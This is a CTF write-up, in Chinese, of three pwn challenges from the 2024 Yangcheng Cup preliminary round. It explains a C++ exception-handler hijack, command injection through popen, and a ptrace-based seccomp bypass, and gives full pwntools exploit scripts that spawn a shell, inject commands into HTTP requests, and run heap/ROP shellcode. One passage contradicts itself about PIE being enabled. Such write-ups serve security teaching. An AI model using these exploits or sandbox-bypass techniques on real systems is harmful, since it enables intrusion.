2024羊城杯初赛

参考自两位大佬: 2024羊城杯PWN详细全解 - 先知社区羊城杯2024预赛 - rot’s Blog

logger

有关C语言异常捕获机制的一道题。

首先查看保护,存在canary,但是没开启pie。

分析main函数,主要是菜单的两个操作,一个Trace,一个Warn

pA5QK2Q.png

Trace代码如下:

pA5Q3bq.png

pA5QMvj.png

分析发现,在循环向byte_404020中写入时,一共循环写入了9次,而该数组大小为16*8 = 128,因此当最后这一次循环时会溢出覆盖掉src,这里的src在下边会用到。

Warn代码如下:

pA5Q1rn.png

Warn中read存在明显的栈溢出,但是因为开启了PIE,所以没法直接利用,这时候就需要使用异常处理函数了。

C++异常处理函数

C++的异常处理机制有三个关键字:throwtrycatch

其中throw是抛出异常、try包含异常模块、catch捕获抛出的异常。

简单例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<iostream>
using namespace std;

double Div(int a,int b)
{
if(b==0){
throw "除数为0!";
}
return (double)a/b;
}

int main()
{
try{
double res = Div(3,0);
cout << res << endl;
}catch(const char* msg){
cout << msg << endl;
}
}

上述代码会输出除数为0!,即程序会捕获到异常并执行catch里的异常处理逻辑。

补充:在编译C++代码的时候,编译器会将throw替换成__CxxRTThrowExp 这类指定函数,通常与 __cxa_allocate_exception__cxa_throw 等函数配合使用,完成分配、初始化、抛出异常的操作。
__cxa_allocate_exception :是一个内部的 C++ 异常处理函数,用于在抛出异常时分配内存以存储异常对象;它会与__cxa_throw相互配合,__cxa_throw 函数在调用时会使用 __cxa_allocate_exception 来分配内存,然后复制异常对象到分配的内存中,并设置适当的异常处理上下文。异常对象处理完后就会使用__cxa_free_exception来释放内存。

我们知道异常抛出过后会被catch捕捉,但是要是当前函数里面没有catch,那么就会沿函数的调用链继续找catch。要是没有catch那么程序就会调用abort中止。

继续分析Warn函数,查看汇编,发现Warn函数在可能抛出异常的地方使用了try但是并没有catch语句来处理异常,因此异常正常会被向上抛出寻求main函数处理,接下来会去寻找main函数中的catch块(如下):

pA5GTC6.png

当捕获到异常时,编译器处理流程如下:

  1. 调用 __cxa_allocate_exception 函数,分配一个异常对象。
  2. 调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。
  3. __cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。
  4. _Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。
  5. 该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
  6. _Unwind_RaiseException() 将控制权转到相应的catch代码。
  7. unwind 完成,用户代码继续执行。

这里不再详述,对应的就是上述main函数中的catch块后边的处理逻辑。

利用思路

既然Warn函数中没有catch块,那么他会通过_Unwind_Resume回抛到上一级main函数求寻找main函数中的catch块(如上)。

所以,在Warn中,try的下方存在call _Unwind_Resume,程序通过它跳到main函数的catch处执行(如下),之后再通过main的catch块中的call _Unwind_Resume去恢复到原来mian函数的执行上下文,即执行菜单函数。

pA5GI4x.png

因此,如果通过栈溢出修改Warn的返回地址为catch_2的话,就会执行catch_2处的后门system函数。

catch_2代码如下:

pA5QY5T.png

修改前后内存对比如下:

修改前:

pA5G5U1.png

修改后:

pA5QJaV.png

至于为什么修改返回地址会修改它call _Unwind_Resume的时候寻找到的catch,我的理解是它寻找catch的方法是从返回地址处往后找第一个catch即为要处理的catch

修改前catch处汇编代码:

他从warn的返回地址处一直向下找,找到0x401A64处匹配的catch就把该catch作为异常处理函数了。

pA5QGV0.png

修改后catch处汇编代码:

pA5QY5T.png

我们把warn返回地址修改成下边的另一个try_catch处,0x401bc3(执行特性,不可能下一条执行地址和你当前地址一样,其实是0x401bc3-0x401bc7都可以),他就会向下寻找找到0x401BC7处的catch作为异常处理函数,进而可以执行里边的system函数。

接下来就是最后一步,system的参数问题,可知system的rdi来自于上边call ___cxa_begin_catch结束后的rax,而rax一般是存储异常对象的指针,也就是前边的src,因此前边溢出控制src = bin/sh即可getshell。

pA5G4ER.png

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')

catch = 0x401BC3
bss=0x404100
def trace(data,choice):
p.recvuntil(b'Your chocie:')
p.sendline(b'1')
p.recvuntil(b'You can record log details here: ')
p.send(data)
p.recvuntil(b'Do you need to check the records? ')
p.sendline(choice)
def warn(data):
p.recvuntil(b'Your chocie:')
p.sendline(b'2')
p.recvuntil(b'[!] Type your message here plz: ')
p.send(data)

for i in range(8):
trace(b'a'*0x10,b'n')
trace(b'/bin/sh'+b'\x00'*9,b'y')
pay = b'a' * 0x70 + p64(0x404500) + p64(catch) //注意这里的rbp需要修改为一个可写地址,不然会报错,具体原因不太清楚。这里修改成bss段
warn(pay)
p.interactive()

httpd

popen函数

1
FILE *popen(const char *command, const char *mode);

popen 函数是 C 标准库中的一个函数,通常用于创建一个进程来执行一个命令,并返回一个管道,用于与这个进程进行通信。

该函数相当于system,能进行命令执行。

如图所示:

pA5aiHe.png

因为ls是有回显的,所以需要后续进行输出才能回显,但是其他的没有回显的指令是可以直接执行到,如cp以及mv或者cat xx > yy重定向等。

如图所示:

pA5aZ9I.png

题目分析

前面都是web的头,直接抓包格式就可以直接拿到

如图所示:

part1:

pA5akAH.png

part2:

pA5aANd.png

part3:

pA5aE4A.png

分析可知,协议头一共有如下几个部分:

  • url路径 + “HTTP/1.0”
  • Host + ip地址
  • Content-Length: num

之后,是对输入的url进行URL_code操作,即进行url解码。

之后,调用check对输入的url进行过滤,过滤内容如下:

pA5TDde.png

最后,对过滤完的url直接调用了popen(url)处理。

由上述过滤分析可知,只是过滤了bin,sh和一些连接字符,因此可以使用cp命令进行绕过,将flag cp到test.html目录下,之后直接访问flag。(这里为什么不能直接访问flag呢,是因为后边对popen的返回结果进行了判断,判断为目录还是文件,只有当是目录的时候才能正常访问,所以需要把flag文件cp或重定向到test.html目录下)

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

//p = remote('',)

//移动flag
payload='get '+'/cp%20/flag%20/home/ctf/html'+' HTTP/1.0' //cp flag /home/ctf/html
//或 payload='get '+'/cat%20/flag%20%3e/home/ctf/html'+' HTTP/1.0' //cat flag > /home/ctf/html
p.sendline(payload)

p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')
p.close()

//读取flag
payload='get '+'/flag'+' HTTP/1.0'
p.sendline(payload)
p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')

p.interactive()

hard+sandbox

2.36版本常规io题,存在uaf漏洞。

难点在于绕过沙盒的限制,但是这里open和openat都禁用,并且固定执行环境,很难通过平替函数或者篡改cs切换执行环境来执行open函数。

pA7zF2V.png

只能考虑使用ptrace去hook->seccomp

ptrace 系统调用概述

1
2
3
4
5
6
7
8
9
10
int ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
//request:指定操作类型,如 PTRACE_ATTACH、PTRACE_DETACH、PTRACE_PEEKDATA 等。
//PTRACE_ATTACH,用于将当前进程附加到另一个进程的调试会话中。
//PTRACE_SETOPTIONS,用于设置附加的跟踪选项。
//PTRACE_CONT.用于继续执行之前被暂停的进程
//PTRACE_DETACH,用于从一个正在被调试的进程中分离(“脱离”)调试器,被调试进程将继续正常执行。
//pid:目标进程的进程 ID(PID)。
//addr 和 data:用于特定请求的额外数据。
//data:
//PTRACE_O_TRACESEC

先fork开启一个子进程,

如果 pid 为 0,表示当前代码块是在子进程中执行的,否则是在父进程中执行的

然后使用ptrace附加选项(PTRACE_ATTACH)附加到子进程

调用 wait 函数等待子进程停止。此时子进程将会被暂停,父进程能够对其进行进一步操作。

接下来对seccomp设置子进程的监控选项,PTRACE_O_TRACESECCOMP使得父进程能够接收到 seccomp 触发的信号。

然后继续执行子进程PTRACE_CONT

等待 seccomp 触发wait(NULL);父进程会在这里阻塞,直到接收到子进程的 seccomp 触发事件。

这个时候子进程会触发seccomp然后,在父进程中对他进行hook处理,完成绕过

pA7zEKU.png

只需要将C语言代码转换为汇编执行就行。

这里也是直接用的House of apple2中的方法3。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
from pwn import *
from ctypes import*
from LibcSearcher import*
import pwnlib.shellcraft as sc

u64_Nofix=lambda p:u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
u64_fix=lambda p:u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
u64_8bit=lambda p:u64(p.recv(8))

def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)

p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')

def command(option):
p.recvuntil(b'>')
p.sendline(bytes(str(option),'utf-8'))

def create(idx,Size):
command(1)
p.recvuntil(b'Index')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size),'utf-8'))
def free(id):
command(2)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
command(3)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
p.recvuntil(b'Content')
p.send(Content)
def show(id):
command(4)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
context.arch='amd64'
create(0,0x500)
create(1,0x520)
create(2,0x510)
create(3,0x520)
free(2)
create(4,0x520)
show(2)
libc_add=u64_fix(p)
libcbase=libc_add-0x1f70f0
success('libcbase '+hex(libcbase))
edit(2,b'a'*(0x10-1)+b'A')
show(2)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))
edit(2,p64(libc_add)*2)

IO_list_all=libcbase+0x1f7660
IO_wfile_jumps=libcbase+0x1f30a0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
success('IO_wfile_jumps '+hex(IO_list_all))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x00000000000233d1

#fake_IO
fakeIO_add=heap_add-0xa40
orw_add=fakeIO_add+0xe0+0x50

A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
gg=libcbase+0x000000000005e5b0
leave_ret=libcbase+0x0000000000050877
fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'\x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x68,b'\x00')
fake_IO+=p64(orw_add-0x8)#lock
fake_IO=fake_IO.ljust(0x78,b'\x00')
fake_IO+=p64(fakeIO_add)#lock
fake_IO=fake_IO.ljust(0x90,b'\x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO+=p64(leave_ret)
fake_IO=fake_IO.ljust(0xc8,b'\x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+p64(0)+p64(setcontextadd+61)+b'\x00'*0x20
fake_IO+=p64(B)+p64(gg)

mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x0000000000023b65
rsi_ret=libcbase+0x00000000000251be
rdx_rbx_ret=libcbase+0x000000000008bcd9
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17

shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code

/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall

/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall

/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error

/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error

/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall

xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp end

child_code:
{shellcraft.open('./flag')}
{shellcraft.sendfile(1,3,0,0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_rbx_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcode2)

payload=fake_IO+orw
edit(0,payload)
free(0)
edit(2,p64(heap_add)*2+p64(0)+p64(IO_list_all-0x20))
create(10,0x600)

gdb.attach(p)
pause()
command(5)

p.interactive()